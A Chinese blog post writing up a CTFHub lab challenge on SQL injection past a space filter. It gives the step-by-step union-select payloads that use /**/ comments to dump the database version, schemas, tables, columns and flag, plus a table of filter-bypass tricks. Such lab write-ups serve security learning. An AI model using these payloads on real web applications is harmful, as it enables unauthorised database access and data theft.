CTFHub | 过滤空格

 0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

过滤空格:

        (无)

网页显示内容

        

        

0x02 解题过程

        根据网页显示内容提示,这题关于过滤空格注入,此题和其他的注入手法一致,只不过需要在网页 URL 中对 payload 语句中的空格符号进行过滤,判断发现此题存在过滤空格注入,接着判断字段数量,查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。

        

根据题目描述输入1,并构造payload and 1 = 1,发现页面提示Hacker!!!

and 1 = 1

        

根据题目提示需要对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤

/**/and/**/1/**/=/**/1

        

继续构造payload语句,发现等于2时回显错误,说明此题存在过滤空格注入

/**/and/**/1/**/=/**/2

        

直接使用order by 判断字段数量,从/**/order/**/by/**/1开始

/**/order/**/by/**/1

        

判断字段2,使用/**/order/**/by/**/2

/**/order/**/by/**/2

        

判断字段3,使用order by 3,这里无回显,那么字段数量为2列

/**/order/**/by/**/3

        

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

/**/union/**/select/**/1,2

        

判断数据可能不存在数据库中,在id=1中加入负号查看数据,其他符号也可以

id=-1/**/union/**/select/**/1,2

        

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

/**/union/**/select/**/1,version()

        

修改2为database(),查看数据库名,发现数据库版本为sqli

/**/union/**/select/**/1,database()

        

ⅩⅠ查看全部数据库名

/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

        

ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现lrfbovgrtq和news两个表名

/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

        

ⅩⅢ先查看lrfbovgrtq表中的全部字段名,发现一个数据名为ntzwkdyzie

/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='lrfbovgrtq'

        

ⅩⅣ查看数据ntzwkdyzie中的内容,发现此题flag

/**/union/**/select/**/1,group_concat(ntzwkdyzie)/**/from/**/sqli.lrfbovgrtq

        

        

0x03 常见过滤方法

方法使用说明
注释过滤/**/、/*!*/、//、#、--/**/union/**/select/**/1,2
括号过滤()(union)select(1,2)
符号过滤%00、%09、%20、%a0 %0a、%0b、%0c、%0d%a0union%a0select%a01,2
引号过滤 ' 、 " union select '1', '2'
大小写过滤大小写/**/UnIoN/**/SeLeCt/**/1, 2
双关键字绕过'+'uni'+'on sel'+'ect 1,2#
正则表达式绕过\s、\s*union\s+select\s+1\s*,\s*2

注意:\s+ 表示匹配一个或多个空白字符,\s* 表示匹配零个或多个空白字符。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼泊罗河伯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值